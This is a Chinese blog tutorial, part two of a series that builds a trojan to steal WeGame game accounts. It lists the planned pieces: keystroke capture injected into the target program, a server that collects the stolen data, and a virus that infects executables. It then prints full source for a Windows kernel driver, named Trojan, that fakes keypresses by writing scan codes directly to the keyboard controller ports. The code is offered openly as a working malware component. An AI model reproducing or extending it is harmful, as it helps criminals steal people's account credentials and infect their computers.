看完了第一篇 WeGame盗号木马之旅(一) ,相信读者已经大概明白了我们需要干什么。下面我稍微详细的介绍一下我们接下来需要实现的部分:
一、编写驱动级键盘模拟点击驱动。
二、编写具体注入到目标EXE,实现按键截取的代码。
三、编写服务端接受消息的程序。
四、编写具体的病毒EXE,实现感染目标EXE并注入我们编写的木马代码。
开发环境:
VisualStudio2015 ,驱动开发使用WDF驱动模型
目标:
这一篇我们实现驱动的开发。完成驱动模拟键盘点击。
实现:
驱动开发是一个蛋疼的活。最好有两台电脑方便调试,虚拟机也可以,因为很容易蓝屏重启。我使用虚拟机进行调试,我使用的驱动运行环境是WIN7 32位。因为WIN7 64 和WIN 10 都有驱动签名保护,调试起来不是很方便。另外说一句,本次驱动WIN 10系统下好像模拟失败,具体原因我没有时间找。所以WeGame的运行环境我放到了WIN 7虚拟机里面,服务器端我放到了本机。
如果想要很好的理解本篇文章,请先参考此文章:(http://shanzy.bokee.com/834368.html)。他介绍了PS/2键盘的底层工作原理。下面我简单说明一下原理:不像直接通过WIN32 API模拟发送消息,我们直接通过访问键盘端口进行模拟。当我们在键盘上按下一个键时,会产生一个中断。然后CPU就会启动中断服务历程,相关驱动程序就会去0X60端口读取按键扫描码。然后经过一系列驱动处理把消息传给RawInputThread进程,然后他具体发送到需要的进程(细节请参考《寒江独钓:Windows内核安全编程》)。我们可以直接向0X64端口写命令给键盘相关驱动,然后再通过0X60写入具体的按键扫描码。具体的按键扫描码请参考:(https://blog.csdn.net/firas/article/details/26267573)。注意:我们发送的不是ASCII码。下面就贴一下代码,关键的点上面都说了。对于驱动老手我想这个是很简单的,但是新手的我调试了不少时间-。-//////
代码如下:
#include<ntddk.h>
#include<wdf.h>
#define TROJAN_LINKNAME L"\\DosDevices\\TROJAN_LINK"
//回掉函数的申明
DRIVER_INITIALIZE DriverEntry;
EVT_WDF_DRIVER_DEVICE_ADD Trojan_EvtDeviceAdd;
EVT_WDF_IO_QUEUE_IO_DEVICE_CONTROL Trojan_EvtIoDeviceControl;
EVT_WDF_TIMER Trojan_EvtTimerFunc;
//存放一些全局变量
typedef struct _QUEUE_CONTEXT{
WDFTIMER timer;//定时器
UCHAR mark;//具体的按键扫描码
WDFREQUEST request;//请求
BOOLEAN isSpace;//用于判断是否输出Backspace,去掉前面模拟点击的字符
} QUEUE_CONTEXT, *PQUEUE_CONTEXT;
WDF_DECLARE_CONTEXT_TYPE_WITH_NAME(QUEUE_CONTEXT,GetQueueContext)
//驱动入口函数
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registerPath) {
//状态信息
NTSTATUS status = STATUS_SUCCESS;
//驱动对象
WDF_DRIVER_CONFIG driverConfig;
//初始化
WDF_DRIVER_CONFIG_INIT(&driverConfig, Trojan_EvtDeviceAdd);
//创建驱动对象
status = WdfDriverCreate(driverObject, registerPath, WDF_NO_OBJECT_ATTRIBUTES, &driverConfig, WDF_NO_HANDLE);
if (!NT_SUCCESS(status)) {
KdPrint(("Trojan:创建驱动失败!"));
return status;
}
return status;
}
NTSTATUS Trojan_EvtDeviceAdd(IN WDFDRIVER driver, IN PWDFDEVICE_INIT deviceInit) {
UNREFERENCED_PARAMETER(driver);
//状态信息
NTSTATUS status = STATUS_SUCCESS;
//设备对象
WDFDEVICE device;
UNICODE_STRING linkNmae;//符号连接名字
//队列对象
PQUEUE_CONTEXT pQueueContext;
WDF_IO_QUEUE_CONFIG ioQueueConfig;
WDF_OBJECT_ATTRIBUTES queueAttributes;
WDFQUEUE queue;
//定时器对象
WDF_TIMER_CONFIG timerConfig;
WDF_OBJECT_ATTRIBUTES timerAttributes;
//创建设备对象
status = WdfDeviceCreate(&deviceInit, WDF_NO_OBJECT_ATTRIBUTES, &device);
if (!NT_SUCCESS(status)) {
KdPrint(("Trojan:创建设备失败!\n"));
return status;
}
//创建符号连接
RtlInitUnicodeString(&linkNmae, TROJAN_LINKNAME);
status = WdfDeviceCreateSymbolicLink(device, &linkNmae);
if (!NT_SUCCESS(status)) {
KdPrint(("Trojan:创建符号连接失败!\n"));
return status;
}
//创建队列对象
WDF_IO_QUEUE_CONFIG_INIT_DEFAULT_QUEUE(&ioQueueConfig, WdfIoQueueDispatchSequential);
WDF_OBJECT_ATTRIBUTES_INIT_CONTEXT_TYPE(&queueAttributes, QUEUE_CONTEXT);
ioQueueConfig.EvtIoDeviceControl = Trojan_EvtIoDeviceControl;//设置DeviceControl回掉例程
status = WdfIoQueueCreate(device, &ioQueueConfig, &queueAttributes, &queue);
if (!NT_SUCCESS(status)) {
KdPrint(("Trojan:创建队列失败!\n "));
return status;
}
pQueueContext = GetQueueContext(queue);
pQueueContext->mark = 0X02;//1的扫描码
pQueueContext->isSpace = FALSE;
//创建定时器对象
WDF_TIMER_CONFIG_INIT_PERIODIC(&timerConfig, Trojan_EvtTimerFunc, 20);
WDF_OBJECT_ATTRIBUTES_INIT(&timerAttributes);
timerAttributes.ParentObject = queue;
status = WdfTimerCreate(&timerConfig, &timerAttributes, &pQueueContext->timer);
if (!NT_SUCCESS(status)) {
KdPrint(("Trojan:创建定时器失败!\n"));
return status;
}
WdfControlFinishInitializing(device);//设备创建完成,开始接受IRP请求
KdPrint(("Trojan:初始化完成!\n"));
return status;
}
//控制函数,Ring3程序发送命令到此函数处理
VOID Trojan_EvtIoDeviceControl(IN WDFQUEUE queue, IN WDFREQUEST request, IN size_t outBufferLength, IN size_t inputBufferLength, IN ULONG code) {
//说明一下这些参数没有使用
UNREFERENCED_PARAMETER(outBufferLength);
UNREFERENCED_PARAMETER(inputBufferLength);
UNREFERENCED_PARAMETER(code);
PQUEUE_CONTEXT pQueueContest;
pQueueContest = GetQueueContext(queue);
pQueueContest->request = request;//保存这个IRP请求,便于最后告述队列请求处理完成,接受一下次请求
WdfTimerStart(pQueueContest->timer, WDF_REL_TIMEOUT_IN_MS(100));//启动定时器
KdPrint(("Trojan:接受到命令!\n"));
return;
}
//定时器,毕竟模拟按键需要等待一些时间再按下另一个
VOID Trojan_EvtTimerFunc(IN WDFTIMER timer) {
KdPrint(("Trojan:进入定时器!\n"));
WDFQUEUE queue;
PQUEUE_CONTEXT pQueueContext;
queue = WdfTimerGetParentObject(timer);//获取队列对象
pQueueContext = GetQueueContext(queue);//获取队列上下文空间指针
//按键模拟实现
if (!pQueueContext->isSpace) {//正常按键模拟
//端口读写
WRITE_PORT_UCHAR((PUCHAR)0X64, 0XD2);//控制命令,说明即将发送数据
WRITE_PORT_UCHAR((PUCHAR)0X60, pQueueContext->mark);//按键按下模拟
WRITE_PORT_UCHAR((PUCHAR)0X64, 0XD2);//控制命令,说明即将发送数据
WRITE_PORT_UCHAR((PUCHAR)0X60, (pQueueContext->mark + 0X80));//按键抬起模拟
pQueueContext->mark++;//变成下一个字符的扫描码
pQueueContext->isSpace = TRUE;
}
else
{//删除按键
//端口读写
WRITE_PORT_UCHAR((PUCHAR)0X64, 0XD2);//控制命令,说明即将发送数据
WRITE_PORT_UCHAR((PUCHAR)0X60, 0X0E);//按键按下模拟,Backspace
WRITE_PORT_UCHAR((PUCHAR)0X64, 0XD2);//控制命令,说明即将发送数据
WRITE_PORT_UCHAR((PUCHAR)0X60, 0X8E);//按键抬起模拟
pQueueContext->isSpace = FALSE;
}
//输入到0就结束,1234567890
if (pQueueContext->mark == 0X0C&&!pQueueContext->isSpace) {
pQueueContext->mark = 0X02;//重置,便于再次开启
WdfTimerStop(timer, FALSE);//关闭定时器
WdfRequestComplete(pQueueContext->request, STATUS_SUCCESS);//IRP请求处理完成
KdPrint(("Trojan:完成命令!\n"));
}
return;
}
本篇结语:
可能有些读者没有接触过驱动开发,本菜也是急急忙忙看了一些书籍入个门,写个模拟键盘按键的驱动的-。-///。说实话,驱动是个大坑,慎入。。。我感觉开发Linux的驱动应该比Windows方便点。其实驱动运行在Ring0级,我们可以干很多坏(hao)事的O(∩_∩)O。。。很多杀毒软件都需要驱动运行在底层进行电脑保护。但是开发驱动不像一般的桌面程序开发,需要了解很多计算机底层的东西,而不仅仅是API的调用而已。
THE END